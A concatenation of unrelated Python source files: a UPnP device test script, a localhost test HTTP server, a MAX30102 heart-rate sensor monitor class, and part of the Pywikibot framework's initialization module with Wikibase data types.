logger.info('Manually importing the following results into the database:' + str(result_list))
with self._service_database_mutex:
self._service_database.reset()
for service in result_list:
self._service_database.import_from_tuple(service)
if __name__ == '__main__':
try:
input = raw_input
except NameError:
pass
host = 'hal2'
if host=='hal':
IP = '169.254.2.35'
MAC = '00:04:74:12:00:00'
exp_device = 'Wifi_wifi-soho_120000'
elif host=='hal2':
IP = '10.10.8.31'
MAC = '00:04:74:05:00:BA'
exp_device = 'LegrandAP_AP Wifi_0500BA'
#print('Arping result: ' + str(arping(ip_address='10.10.8.1', interface='eth0', use_sudo=True, logger=logger)))
UPNP_BROWSER = 'scripts/UpnpBrowser.py'
UL = UpnpLibrary()
input('Press enter & "Enable UPnP" on device')
temp_cache = UL.get_services(interface_name='eth0')
print('For device ' + exp_device + ', got IP ' + UL.get_ipv4_for_device_name(exp_device))
if IP != UL.get_ipv4_for_device_name(exp_device):
raise Exception('Error')
print('For MAC ' + MAC + ', got IP ' + UL.get_ipv4_for_mac(MAC))
if IP != UL.get_ipv4_for_mac(MAC):
raise Exception('Error')
#if 'fe80::21a:64ff:fe94:86a2' != UL.get_ipv6_for_mac(MAC):
# raise Exception('Error')
UL.expect_service_on_ip(IP)
UL.expect_service_on_mac(MAC)
UL.import_results([]) # Make sure we reset the internal DB
UL.expect_no_service_on_ip(IP) # So there should be no service of course!
UL.import_results(temp_cache) # Re-import previous results
UL.expect_service_on_ip(IP) # We should get again the service that we found above
#input('Press enter & publish a device called "' + exp_device + '" within 10s')
#UL.wait_for_device_name(exp_device, timeout=10, interface_name='eth1')
input('Press enter & either Disable UPnP on device or stop publishing device called "' + exp_device + '" within 20s')
#UL.wait_for_no_device_name(exp_device, timeout=20, interface_name='eth1')
UL.get_services(interface_name='eth0')
UL.expect_no_service_on_ip(IP)
UL.expect_no_service_on_mac(MAC)
|
simpleserver.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Filename: moxie/tests/simpleserver.py
"""
Defines the class that instantiates a basic http server.
Classes:
SimpleServer: Wrapper object for the HTTPServer object.
Attributes:
HOST_NAME (str): Hostname used for creating SERVER_URL elsewhere.
HOST_IP (str): IP address used for defining the server address.
HTTP_PORT_NUMBER (int): Port number used for HTTP server creation.
HTTPS_PORT_NUMBER (int): Port number used for HTTPS server creation.
SERVER_URL (str): Base HTTP url used for tests.
HTTPS_SERVER_URL (str): Base HTTPS url used for tests.
"""
import os, ssl, requests
from multiprocessing import Event, Process
from http.server import HTTPServer
from .requesthandler import SimpleHTTPServerRequestHandler
HOST_NAME = 'localhost'
HOST_IP = '127.0.0.1'
HTTP_PORT_NUMBER = 9001
HTTPS_PORT_NUMBER = 9002
SERVER_URL = f'http://{HOST_NAME}:{HTTP_PORT_NUMBER}'
HTTPS_SERVER_URL = f'https://{HOST_NAME}:{HTTPS_PORT_NUMBER}'
class SimpleServer:
"""Wrapper object for the http.server HTTPServer object.
This wrapper allows a simple HTTP server to be started and stopped as a subprocess without any hassle to make testing easier.
Methods:
start(): Start the HTTP server subprocess.
stop(): Cleanly stop the HTTP server subprocess.
"""
def __init__(self, use_ssl=False):
self.e = Event() # Event signalling used for stopping the subprocess
self.server = Process(target=self._run, name='Server_Process', args=[use_ssl])
self.e.set()
self.use_ssl = use_ssl
def start(self):
"""Starts the HTTP webserver"""
self.server.start()
def stop(self):
"""Stops the HTTP webserver"""
self.e.clear()
if self.use_ssl:
# We need to disable warnings because of self-signing
requests.packages.urllib3.disable_warnings()
# We need to fake a get request to the server in order for it
# to exit, because it will hang until the next request is made.
try: # Make a request to the right URL
if self.use_ssl:
requests.get(HTTPS_SERVER_URL, verify=False)
else:
requests.get(SERVER_URL, verify=False)
except Exception as e:
print("Exception while attempting to handle stop request:")
raise e
# Then we wait for the server process to exit, and create
# a new subprocess to start if we need it.
self.server.join()
self.server = Process(target=self._run, name='Server_Process', args=[self.use_ssl])
self.e.set()
# Method used for the server subprocess
def _run(self, use_ssl):
# For SOME reason, using 'localhost' instead of '127.0.0.1'
# causes an OSError about the address already being in use when
# multiple servers are started and stopped consecutively. Google
# searches reveal this is related to a WAIT_TIME for a socket.
# Although this wait time can be overridden to allow the port to
# be reopened immediately, it cannot be used to reconnect to the
# host on the same port, which seems to be the cause of this issue.
# This is theoretically fixed by the setup and teardown functions
# that only spawn a single server, but I'm leaving HOST_IP instead
# of using 'localhost' because it worked better before implementing
# this solution.
if use_ssl:
server_address = (HOST_IP, HTTPS_PORT_NUMBER)
else:
server_address = (HOST_IP, HTTP_PORT_NUMBER)
try:
httpd = HTTPServer(server_address, SimpleHTTPServerRequestHandler)
# set up ssl on the socket if necessary
if use_ssl:
# the key and cert files must be in the same folder as
# this file.
curr_path = os.path.abspath(__file__)[:-15]
httpd.socket = ssl.wrap_socket(httpd.socket,
keyfile=curr_path + 'key.pem',
certfile=curr_path + 'cert.pem',
server_side=True)
not_running = False
except ConnectionError:
print(f"Port {port} already in use")
return
# Handle requests as they come in. handle_request() is a blocking method,
# so we need to make a fake request to the server to get it to actually
# exit after we clear e.
while self.e.is_set():
httpd.handle_request()
# Close the server nicely.
httpd.server_close()
print("Server closed.")
|
heartrate_monitor.py |
from max30102 import MAX30102
import hrcalc
import threading
import time
import numpy as np
class HeartRateMonitor(object):
"""
A class that encapsulates the max30102 device into a thread
"""
LOOP_TIME = 0.01
def __init__(self, print_raw=False, print_result=False):
self.bpm = 0
self.spo2 = 0
self.finger_on = False
self.sensor_data = {'valid_spo2': False, 'finger_on': False, 'bpm': 0, 'spo2':0}
self.sensor_ready_data = self.sensor_data
if print_raw is True:
print('IR, Red')
self.print_raw = print_raw
self.print_result = print_result
def run_sensor(self):
sensor = MAX30102()
ir_data = []
red_data = []
bpms = []
# run until told to stop
while not self._thread.stopped:
# check if any data is available
num_bytes = sensor.get_data_present()
if num_bytes > 0:
# grab all the data and stash it into arrays
while num_bytes > 0:
red, ir = sensor.read_fifo()
num_bytes -= 1
ir_data.append(ir)
red_data.append(red)
if self.print_raw:
print("{0}, {1}".format(ir, red))
while len(ir_data) > 100:
ir_data.pop(0)
red_data.pop(0)
if len(ir_data) == 100:
bpm, valid_bpm, spo2, valid_spo2 = hrcalc.calc_hr_and_spo2(ir_data, red_data)
self.finger_on = valid_bpm
if valid_bpm:
bpms.append(bpm)
while len(bpms) > 4:
bpms.pop(0)
self.bpm = np.mean(bpms)
if (np.mean(ir_data) < 50000 and np.mean(red_data) < 50000):
self.bpm = 0
if self.print_result:
print("Finger not detected")
self.finger_on = False
if self.print_result:
print("BPM: {0}, SpO2: {1}".format(self.bpm, spo2))
self.sensor_data["finger_on"]=self.finger_on and not self.bpm == 0
self.sensor_data["bpm"]=self.bpm
self.sensor_data["valid_spo2"]=self.finger_on and valid_spo2
if self.sensor_data["valid_spo2"]:
self.sensor_data["spo2"]=spo2
else:
self.sensor_data["spo2"]=0
self.sensor_ready_data=self.sensor_data
time.sleep(self.LOOP_TIME)
sensor.shutdown()
def get_data(self):
return self.sensor_ready_data
def start_sensor(self):
self._thread = threading.Thread(target=self.run_sensor)
self._thread.stopped = False
self._thread.start()
def stop_sensor(self, timeout=2.0):
self._thread.stopped = True
self.bpm = 0
self._thread.join(timeout)
|
__init__.py | # -*- coding: utf-8 -*-
"""The initialization file for the Pywikibot framework."""
#
# (C) Pywikibot team, 2008-2017
#
# Distributed under the terms of the MIT license.
#
from __future__ import absolute_import, unicode_literals
__release__ = '3.0-dev'
__version__ = '$Id: e4000cc8b1ddcd00ae795cdeca1a4c903d8a321e $'
__url__ = 'https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot'
import atexit
import datetime
import math
import re
import sys
import threading
from decimal import Decimal
if sys.version_info[0] > 2:
from queue import Queue
long = int
basestring = str
else:
from Queue import Queue
from warnings import warn
# logging must be imported first so that other modules can
# use these logging methods during the initialisation sequence.
from pywikibot.logging import (
critical, debug, error, exception, log, output, stdout, warning
)
from pywikibot import config2 as config
from pywikibot.bot import (
input, input_choice, input_yn, inputChoice, handle_args, showHelp, ui,
calledModuleName, Bot, CurrentPageBot, WikidataBot,
# the following are flagged as deprecated on usage
handleArgs,
)
from pywikibot.bot_choice import (
QuitKeyboardInterrupt as _QuitKeyboardInterrupt,
)
from pywikibot.data.api import UploadWarning as _UploadWarning
from pywikibot.diff import PatchManager
from pywikibot.exceptions import (
Error, InvalidTitle, BadTitle, NoPage, NoMoveTarget, SectionError,
SiteDefinitionError, NoSuchSite, UnknownSite, UnknownFamily,
UnknownExtension,
NoUsername, UserBlocked,
PageRelatedError, IsRedirectPage, IsNotRedirectPage,
PageSaveRelatedError, PageNotSaved, OtherPageSaveError,
LockedPage, CascadeLockedPage, LockedNoPage, NoCreateError,
EditConflict, PageDeletedConflict, PageCreatedConflict,
ServerError, FatalServerError, Server504Error,
CaptchaError, SpamfilterError, CircularRedirect, InterwikiRedirectPage,
WikiBaseError, CoordinateGlobeUnknownException,
DeprecatedPageNotFoundError as _DeprecatedPageNotFoundError,
_EmailUserError,
)
from pywikibot.family import Family
from pywikibot.i18n import translate
from pywikibot.site import BaseSite
from pywikibot.tools import (
# __ to avoid conflict with ModuleDeprecationWrapper._deprecated
deprecated as __deprecated,
deprecate_arg as _deprecate_arg,
normalize_username,
MediaWikiVersion,
redirect_func,
ModuleDeprecationWrapper as _ModuleDeprecationWrapper,
PY2,
UnicodeMixin,
)
from pywikibot.tools.formatter import color_format
import pywikibot.textlib as textlib
textlib_methods = (
'unescape', 'replaceExcept', 'removeDisabledParts', 'removeHTMLParts',
'isDisabled', 'interwikiFormat', 'interwikiSort',
'getLanguageLinks', 'replaceLanguageLinks',
'removeLanguageLinks', 'removeLanguageLinksAndSeparator',
'getCategoryLinks', 'categoryFormat', 'replaceCategoryLinks',
'removeCategoryLinks', 'removeCategoryLinksAndSeparator',
'replaceCategoryInPlace', 'compileLinkR', 'extract_templates_and_params',
'TimeStripper',
)
__all__ = (
'config', 'ui', 'Site', 'UnicodeMixin', 'translate',
'Page', 'FilePage', 'Category', 'Link', 'User',
'ItemPage', 'PropertyPage', 'Claim',
'html2unicode', 'url2unicode', 'unicode2html',
'stdout', 'output', 'warning', 'error', 'critical', 'debug',
'exception', 'input_choice', 'input', 'input_yn', 'inputChoice',
'handle_args', 'handleArgs', 'showHelp', 'ui', 'log',
'calledModuleName', 'Bot', 'CurrentPageBot', 'WikidataBot',
'Error', 'InvalidTitle', 'BadTitle', 'NoPage', 'NoMoveTarget',
'SectionError',
'SiteDefinitionError', 'NoSuchSite', 'UnknownSite', 'UnknownFamily',
'UnknownExtension',
'NoUsername', 'UserBlocked', 'UserActionRefuse',
'PageRelatedError', 'IsRedirectPage', 'IsNotRedirectPage',
'PageSaveRelatedError', 'PageNotSaved', 'OtherPageSaveError',
'LockedPage', 'CascadeLockedPage', 'LockedNoPage', 'NoCreateError',
'EditConflict', 'PageDeletedConflict', 'PageCreatedConflict',
'UploadWarning',
'ServerError', 'FatalServerError', 'Server504Error',
'CaptchaError', 'SpamfilterError', 'CircularRedirect',
'InterwikiRedirectPage',
'WikiBaseError', 'CoordinateGlobeUnknownException',
'QuitKeyboardInterrupt',
)
__all__ += textlib_methods
if PY2:
# T111615: Python 2 requires __all__ is bytes
globals()['__all__'] = tuple(bytes(item) for item in __all__)
for _name in textlib_methods:
target = getattr(textlib, _name)
wrapped_func = redirect_func(target)
globals()[_name] = wrapped_func
deprecated = redirect_func(__deprecated)
deprecate_arg = redirect_func(_deprecate_arg)
class Timestamp(datetime.datetime):
"""Class for handling MediaWiki timestamps.
This inherits from datetime.datetime, so it can use all of the methods
and operations of a datetime object. To ensure that the results of any
operation are also a Timestamp object, be sure to use only Timestamp
objects (and datetime.timedeltas) in any operation.
Use Timestamp.fromISOformat() and Timestamp.fromtimestampformat() to
create Timestamp objects from MediaWiki string formats.
As these constructors are typically used to create objects using data
passed provided by site and page methods, some of which return a Timestamp
when previously they returned a MediaWiki string representation, these
methods also accept a Timestamp object, in which case they return a clone.
Use Site.getcurrenttime() for the current time; this is more reliable
than using Timestamp.utcnow().
"""
mediawikiTSFormat = "%Y%m%d%H%M%S"
ISO8601Format = "%Y-%m-%dT%H:%M:%SZ"
_ISO8601Format_new = '{0:+05d}-{1:02d}-{2:02d}T{3:02d}:{4:02d}:{5:02d}Z'
def clone(self):
"""Clone this instance."""
return self.replace(microsecond=self.microsecond)
@classmethod
def fromISOformat(cls, ts):
"""Convert an ISO 8601 timestamp to a Timestamp object."""
# If inadvertantly passed a Timestamp object, use replace()
# to create a clone.
if isinstance(ts, cls):
return ts.clone()
return cls.strptime(ts, cls.ISO8601Format)
@classmethod
def fromtimestampformat(cls, ts):
"""Convert a MediaWiki internal timestamp to a Timestamp object."""
# If inadvertantly passed a Timestamp object, use replace()
# to create a clone.
if isinstance(ts, cls):
return ts.clone()
return cls.strptime(ts, cls.mediawikiTSFormat)
def isoformat(self):
"""
Convert object to an ISO 8601 timestamp accepted by MediaWiki.
datetime.datetime.isoformat does not postfix the ISO formatted date
with a 'Z' unless a timezone is included, which causes MediaWiki
~1.19 and earlier to fail.
"""
return self.strftime(self.ISO8601Format)
toISOformat = redirect_func(isoformat, old_name='toISOformat',
class_name='Timestamp')
def totimestampformat(self):
"""Convert object to a MediaWiki internal timestamp."""
return self.strftime(self.mediawikiTSFormat)
def __str__(self):
"""Return a string format recognized by the API."""
return self.isoformat()
def __add__(self, other):
"""Perform addition, returning a Timestamp instead of datetime."""
newdt = super(Timestamp, self).__add__(other)
if isinstance(newdt, datetime.datetime):
return Timestamp(newdt.year, newdt.month, newdt.day, newdt.hour,
newdt.minute, newdt.second, newdt.microsecond,
newdt.tzinfo)
else:
return newdt
def __sub__(self, other):
"""Perform substraction, returning a Timestamp instead of datetime."""
newdt = super(Timestamp, self).__sub__(other)
if isinstance(newdt, datetime.datetime):
return Timestamp(newdt.year, newdt.month, newdt.day, newdt.hour,
newdt.minute, newdt.second, newdt.microsecond,
newdt.tzinfo)
else:
return newdt
from pywikibot._wbtypes import WbRepresentation as _WbRepresentation
class Coordinate(_WbRepresentation):
"""
Class for handling and storing Coordinates.
For now its just being used for DataSite, but
in the future we can use it for the GeoData extension.
"""
_items = ('lat', 'lon', 'entity')
@_deprecate_arg('entity', 'globe_item')
def __init__(self, lat, lon, alt=None, precision=None, globe=None,
typ='', name='', dim=None, site=None, globe_item=None):
"""
Represent a geo coordinate.
@param lat: Latitude
@type lat: float
@param lon: Longitude
@type lon: float
@param alt: Altitude? TODO FIXME
@param precision: precision
@type precision: float
@param globe: Which globe the point is on
@type globe: str
@param typ: The type of coordinate point
@type typ: str
@param name: The name
@type name: str
@param dim: Dimension (in meters)
@type dim: int
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@param globe_item: The Wikibase item for the globe, or the entity URI
of this Wikibase item. Takes precedence over 'globe'
if present.
@type globe_item: pywikibot.ItemPage or str
"""
self.lat = lat
self.lon = lon
self.alt = alt
self._precision = precision
self._entity = globe_item
self.type = typ
self.name = name
self._dim = dim
self.site = site or Site().data_repository()
if globe:
globe = globe.lower()
elif not globe_item:
globe = site.default_globe()
self.globe = globe
@property
def entity(self):
"""Return the entity uri of the globe."""
if not self._entity:
if self.globe not in self.site.globes():
raise CoordinateGlobeUnknownException(
u"%s is not supported in Wikibase yet."
% self.globe)
return self.site.globes()[self.globe]
if isinstance(self._entity, ItemPage):
return self._entity.concept_uri()
return self._entity
def toWikibase(self):
"""
Export the data to a JSON object for the Wikibase API.
FIXME: Should this be in the DataSite object?
@return: Wikibase JSON
@rtype: dict
"""
return {'latitude': self.lat,
'longitude': self.lon,
'altitude': self.alt,
'globe': self.entity,
'precision': self.precision,
}
@classmethod
def fromWikibase(cls, data, site):
"""
Constructor to create an object from Wikibase's JSON output.
@param data: Wikibase JSON
@type data: dict
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.Coordinate
"""
globe = None
if data['globe']:
globes = {}
for name, entity in site.globes().items():
globes[entity] = name
globe = globes.get(data['globe'])
return cls(data['latitude'], data['longitude'],
data['altitude'], data['precision'],
globe, site=site, globe_item=data['globe'])
@property
def precision(self):
u"""
Return the precision of the geo coordinate.
The precision is calculated if the Coordinate does not have a precision,
and self._dim is set.
When no precision and no self._dim exists, None is returned.
The biggest error (in degrees) will be given by the longitudinal error;
the same error in meters becomes larger (in degrees) further up north.
We can thus ignore the latitudinal error.
The longitudinal can be derived as follows:
In small angle approximation (and thus in radians):
M{Δλ ≈ Δpos / r_φ}, where r_φ is the radius of earth at the given latitude.
Δλ is the error in longitude.
M{r_φ = r cos φ}, where r is the radius of earth, φ the latitude
Therefore::
precision = math.degrees(self._dim/(radius*math.cos(math.radians(self.lat))))
@rtype: float or None
"""
if self._dim is None and self._precision is None:
return None
if self._precision is None and self._dim is not None:
radius = 6378137 # TODO: Support other globes
self._precision = math.degrees(
self._dim / (radius * math.cos(math.radians(self.lat))))
return self._precision
@precision.setter
def precision(self, value):
self._precision = value
def precisionToDim(self):
"""Convert precision from Wikibase to GeoData's dim and return the latter.
dim is calculated if the Coordinate doesn't have a dimension, and precision is set.
When neither dim nor precision are set, ValueError is thrown.
Carrying on from the earlier derivation of precision, since
precision = math.degrees(dim/(radius*math.cos(math.radians(self.lat)))), we get
dim = math.radians(precision)*radius*math.cos(math.radians(self.lat))
But this is not valid, since it returns a float value for dim which is an integer.
We must round it off to the nearest integer.
Therefore::
dim = int(round(math.radians(precision)*radius*math.cos(math.radians(self.lat))))
@rtype: int or None
"""
if self._dim is None and self._precision is None:
raise ValueError('No values set for dim or precision')
if self._dim is None and self._precision is not None:
radius = 6378137
self._dim = int(
round(
math.radians(self._precision) * radius * math.cos(math.radians(self.lat))
)
)
return self._dim
def get_globe_item(self, repo=None, lazy_load=False):
"""
Return the ItemPage corresponding to the globe.
Note that the globe need not be in the same data repository as the
Coordinate itself.
A successful lookup is stored as an internal value to avoid the need
for repeated lookups.
@param repo: the Wikibase site for the globe, if different from that
provided with the Coordinate.
@type repo: pywikibot.site.DataSite
@param lazy_load: Do not raise NoPage if ItemPage does not exist.
@type lazy_load: bool
@return: pywikibot.ItemPage
"""
if isinstance(self._entity, ItemPage):
return self._entity
repo = repo or self.site
return ItemPage.from_entity_uri(repo, self.entity, lazy_load)
class WbTime(_WbRepresentation):
"""A Wikibase time representation."""
PRECISION = {'1000000000': 0,
'100000000': 1,
'10000000': 2,
'1000000': 3,
'100000': 4,
'10000': 5,
'millenia': 6,
'century': 7,
'decade': 8,
'year': 9,
'month': 10,
'day': 11,
'hour': 12,
'minute': 13,
'second': 14
}
FORMATSTR = '{0:+012d}-{1:02d}-{2:02d}T{3:02d}:{4:02d}:{5:02d}Z'
_items = ('year', 'month', 'day', 'hour', 'minute', 'second',
'precision', 'before', 'after', 'timezone', 'calendarmodel')
def __init__(self, year=None, month=None, day=None,
hour=None, minute=None, second=None,
precision=None, before=0, after=0,
timezone=0, calendarmodel=None, site=None):
"""
Create a new WbTime object.
The precision can be set by the Wikibase int value (0-14) or by a human
readable string, e.g., 'hour'. If no precision is given, it is set
according to the given time units.
Timezone information is given in three different ways depending on the time:
* Times after the implementation of UTC (1972): as an offset from UTC in minutes;
* Times before the implementation of UTC: the offset of the time zone from universal time;
* Before the implementation of time zones: The longitude of the place of
the event, in the range −180° to 180°, multiplied by 4 to convert to minutes.
@param year: The year as a signed integer of between 1 and 16 digits.
@type year: long
@param month: Month
@type month: int
@param day: Day
@type day: int
@param hour: Hour
@type hour: int
@param minute: Minute
@type minute: int
@param second: Second
@type second: int
@param precision: The unit of the precision of the time.
@type precision: int or str
@param before: Number of units after the given time it could be, if uncertain.
The unit is given by the precision.
@type before: int
@param after: Number of units before the given time it could be, if uncertain.
The unit is given by the precision.
@type after: int
@param timezone: Timezone information in minutes.
@type timezone: int
@param calendarmodel: URI identifying the calendar model
@type calendarmodel: str
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
"""
if year is None:
raise ValueError('no year given')
self.precision = self.PRECISION['second']
if second is None:
self.precision = self.PRECISION['minute']
second = 0
if minute is None:
self.precision = self.PRECISION['hour']
minute = 0
if hour is None:
self.precision = self.PRECISION['day']
hour = 0
if day is None:
self.precision = self.PRECISION['month']
day = 1
if month is None:
self.precision = self.PRECISION['year']
month = 1
self.year = long(year)
self.month = month
self.day = day
self.hour = hour
self.minute = minute
self.second = second
self.after = after
self.before = before
self.timezone = timezone
if calendarmodel is None:
if site is None:
site = Site().data_repository()
if site is None:
raise ValueError('Site %s has no data repository' % Site())
calendarmodel = site.calendarmodel()
self.calendarmodel = calendarmodel
# if precision is given it overwrites the autodetection above
if precision is not None:
if (isinstance(precision, int) and
precision in self.PRECISION.values()):
self.precision = precision
elif precision in self.PRECISION:
self.precision = self.PRECISION[precision]
else:
raise ValueError('Invalid precision: "%s"' % precision)
@classmethod
def fromTimestr(cls, datetimestr, precision=14, before=0, after=0,
timezone=0, calendarmodel=None, site=None):
"""
Create a new WbTime object from a UTC date/time string.
The timestamp differs from ISO 8601 in that:
* The year is always signed and having between 1 and 16 digits;
* The month, day and time are zero if they are unknown;
* The Z is discarded since time zone is determined from the timezone param.
@param datetimestr: Timestamp in a format resembling ISO 8601,
e.g. +2013-01-01T00:00:00Z
@type datetimestr: str
@param precision: The unit of the precision of the time.
@type precision: int or str
@param before: Number of units after the given time it could be, if uncertain.
The unit is given by the precision.
@type before: int
@param after: Number of units before the given time it could be, if uncertain.
The unit is given by the precision.
@type after: int
@param timezone: Timezone information in minutes.
@type timezone: int
@param calendarmodel: URI identifying the calendar model
@type calendarmodel: str
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.WbTime
"""
match = re.match(r'([-+]?\d+)-(\d+)-(\d+)T(\d+):(\d+):(\d+)Z',
datetimestr)
if not match:
raise ValueError(u"Invalid format: '%s'" % datetimestr)
t = match.groups()
return cls(long(t[0]), int(t[1]), int(t[2]),
int(t[3]), int(t[4]), int(t[5]),
precision, before, after, timezone, calendarmodel, site)
@classmethod
def fromTimestamp(cls, timestamp, precision=14, before=0, after=0,
timezone=0, calendarmodel=None, site=None):
"""
Create a new WbTime object from a pywikibot.Timestamp.
@param timestamp: Timestamp
@type timestamp: pywikibot.Timestamp
@param precision: The unit of the precision of the time.
@type precision: int or str
@param before: Number of units after the given time it could be, if uncertain.
The unit is given by the precision.
@type before: int
@param after: Number of units before the given time it could be, if uncertain.
The unit is given by the precision.
@type after: int
@param timezone: Timezone information in minutes.
@type timezone: int
@param calendarmodel: URI identifying the calendar model
@type calendarmodel: str
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.WbTime
"""
return cls.fromTimestr(timestamp.isoformat(), precision=precision,
before=before, after=after,
timezone=timezone, calendarmodel=calendarmodel,
site=site)
def toTimestr(self, force_iso=False):
"""
Convert the data to a UTC date/time string.
See fromTimestr() for differences between output with and without
force_iso.
@param force_iso: whether the output should be forced to ISO 8601
@type force_iso: bool
@return: Timestamp in a format resembling ISO 8601
@rtype: str
"""
if force_iso:
return Timestamp._ISO8601Format_new.format(
self.year, max(1, self.month), max(1, self.day),
self.hour, self.minute, self.second)
return self.FORMATSTR.format(self.year, self.month, self.day,
self.hour, self.minute, self.second)
def toTimestamp(self):
"""
Convert the data to a pywikibot.Timestamp.
@return: Timestamp
@rtype: pywikibot.Timestamp
@raises ValueError: instance value can not be represented using Timestamp
"""
if self.year <= 0:
raise ValueError('You cannot turn BC dates into a Timestamp')
return Timestamp.fromISOformat(
self.toTimestr(force_iso=True).lstrip('+'))
def toWikibase(self):
"""
Convert the data to a JSON object for the Wikibase API.
@return: Wikibase JSON
@rtype: dict
"""
json = {'time': self.toTimestr(),
'precision': self.precision,
'after': self.after,
'before': self.before,
'timezone': self.timezone,
'calendarmodel': self.calendarmodel
}
return json
@classmethod
def fromWikibase(cls, wb, site=None):
"""
Create a WbTime from the JSON data given by the Wikibase API.
@param wb: Wikibase JSON
@type wb: dict
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.WbTime
"""
return cls.fromTimestr(wb['time'], wb['precision'],
wb['before'], wb['after'],
wb['timezone'], wb['calendarmodel'], site)
class WbQuantity(_WbRepresentation):
"""A Wikibase quantity representation."""
_items = ('amount', 'upperBound', 'lowerBound', 'unit')
@staticmethod
def _require_errors(site):
"""
Check if the Wikibase site is so old it requires error bounds to be given.
If no site item is supplied it raises a warning and returns True.
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: bool
"""
if not site:
warning(
"WbQuantity now expects a 'site' parameter. This is needed to "
"ensure correct handling of error bounds.")
return False
return MediaWikiVersion(site.version()) < MediaWikiVersion('1.29.0-wmf.2')
@staticmethod
def _todecimal(value):
"""
Convert a string to a Decimal for use in WbQuantity.
None value is returned as is.
@param value: decimal number to convert
@type value: str
@rtype: Decimal
"""
if isinstance(value, Decimal):
return value
elif value is None:
return None
return Decimal(str(value))
@staticmethod
def _fromdecimal(value):
"""
Convert a Decimal to a string representation suitable for WikiBase.
None value is returned as is.
@param value: decimal number to convert
@type value: Decimal
@rtype: str
"""
if value is None:
return None
return format(value, "+g")
def __init__(self, amount, unit=None, error=None, site=None):
u"""
Create a new WbQuantity object.
@param amount: number representing this quantity
@type amount: string or Decimal. Other types are accepted, and converted
via str to Decimal.
@param unit: the Wikibase item for the unit or the entity URI of this
Wikibase item.
@type unit: pywikibot.ItemPage, str or None
@param error: the uncertainty of the amount (e.g. ±1)
@type error: same as amount, or tuple of two values, where the first value is
the upper error and the second is the lower error value.
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
"""
if amount is None:
raise ValueError('no amount given')
self.amount = self._todecimal(amount)
self._unit = unit
self.site = site or Site().data_repository()
# also allow entity URIs to be provided via unit parameter
if isinstance(unit, basestring) and \
unit.partition('://')[0] not in ('http', 'https'):
raise ValueError("'unit' must be an ItemPage or entity uri.")
if error is None and not self._require_errors(site):
self.upperBound = self.lowerBound = None
else:
if error is None:
self.upperBound = self.lowerBound = Decimal(0)
elif isinstance(error, tuple):
upperError = self._todecimal(error[0])
lowerError = self._todecimal(error[1])
else:
upperError = lowerError = self._todecimal(error)
self.upperBound = self.amount + upperError
self.lowerBound = self.amount - lowerError
@property
def unit(self):
"""Return _unit's entity uri or '1' if _unit is None."""
if isinstance(self._unit, ItemPage):
return self._unit.concept_uri()
return self._unit or '1'
def get_unit_item(self, repo=None, lazy_load=False):
"""
Return the ItemPage corresponding to the unit.
Note that the unit need not be in the same data repository as the
WbQuantity itself.
A successful lookup is stored as an internal value to avoid the need
for repeated lookups.
@param repo: the Wikibase site for the unit, if different from that
provided with the WbQuantity.
@type repo: pywikibot.site.DataSite
@param lazy_load: Do not raise NoPage if ItemPage does not exist.
@type lazy_load: bool
@return: pywikibot.ItemPage
"""
if not isinstance(self._unit, basestring):
return self._unit
repo = repo or self.site
self._unit = ItemPage.from_entity_uri(repo, self._unit, lazy_load)
return self._unit
def toWikibase(self):
"""
Convert the data to a JSON object for the Wikibase API.
@return: Wikibase JSON
@rtype: dict
"""
json = {'amount': self._fromdecimal(self.amount),
'upperBound': self._fromdecimal(self.upperBound),
'lowerBound': self._fromdecimal(self.lowerBound),
'unit': self.unit
}
return json
@classmethod
def fromWikibase(cls, wb, site=None):
"""
Create a WbQuantity from the JSON data given by the Wikibase API.
@param wb: Wikibase JSON
@type wb: dict
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.WbQuantity
"""
amount = cls._todecimal(wb['amount'])
upperBound = cls._todecimal(wb.get('upperBound'))
lowerBound = cls._todecimal(wb.get('lowerBound'))
bounds_provided = (upperBound is not None and lowerBound is not None)
error = None
if bounds_provided or cls._require_errors(site):
error = (upperBound - amount, amount - lowerBound)
if wb['unit'] == '1':
unit = None
else:
unit = wb['unit']
return cls(amount, unit, error, site)
class WbMonolingualText(_WbRepresentation):
"""A Wikibase monolingual text representation."""
_items = ('text', 'language')
def __init__(self, text, language):
"""
Create a new WbMonolingualText object.
@param text: text string
@type text: str
@param language: language code of the string
@type language: str
"""
if not text or not language:
raise ValueError('text and language cannot be empty')
self.text = text
self.language = language
def toWikibase(self):
"""
Convert the data to a JSON object for the Wikibase API.
@return: Wikibase JSON
@rtype: dict
"""
json = {'text': self.text,
'language': self.language
}
return json
@classmethod
def fromWikibase(cls, wb):
"""
Create a WbMonolingualText from the JSON data given by the Wikibase API.
@param wb: Wikibase JSON
@type wb: dict
@rtype: pywikibot.WbMonolingualText
"""
return cls(wb['text'], wb['language'])
class _WbDataPage(_WbRepresentation):
"""
A Wikibase representation for data pages.
A temporary implementation until T162336 has been resolved.
Note that this class cannot be used directly
"""
_items = ('page', )
@classmethod
def _get_data_site(cls, repo_site):
"""
Return the site serving as a repository for a given data type.
Must be implemented in the extended class.
@param site: The Wikibase site
@type site: pywikibot.site.APISite
@rtype: pywikibot.site.APISite
"""
raise NotImplementedError
@classmethod
def _get_type_specifics(cls, site):
"""
Return the specifics for a given data type.
Must be implemented in the extended class.
The dict should have three keys:
* ending: str, required filetype-like ending in page titles.
* label: str, describing the data type for use in error messages.
* data_site: pywikibot.site.APISite, site serving as a repository for
the given data type.
@param site: The Wikibase site
@type site: pywikibot.site.APISite
@rtype: dict
"""
raise NotImplementedError
@staticmethod
def _validate(page, data_site, ending, label):
"""
Validate the provided page against general and type specific rules.
@param page: Page containing the data.
@type text: pywikibot.Page
@param data_site: The site serving as a repository for the given
data type.
@type data_site: pywikibot.site.APISite
@param ending: Required filetype-like ending in page titles.
E.g. '.map'
@type ending: str
@param label: Label describing the data type in error messages.
@type site: str
"""
if not isinstance(page, Page):
raise ValueError('Page must be a pywikibot.Page object.')
# validate page exists
if not page.exists():
raise ValueError('Page must exist.')
# validate page is on the right site, and that site supports the type
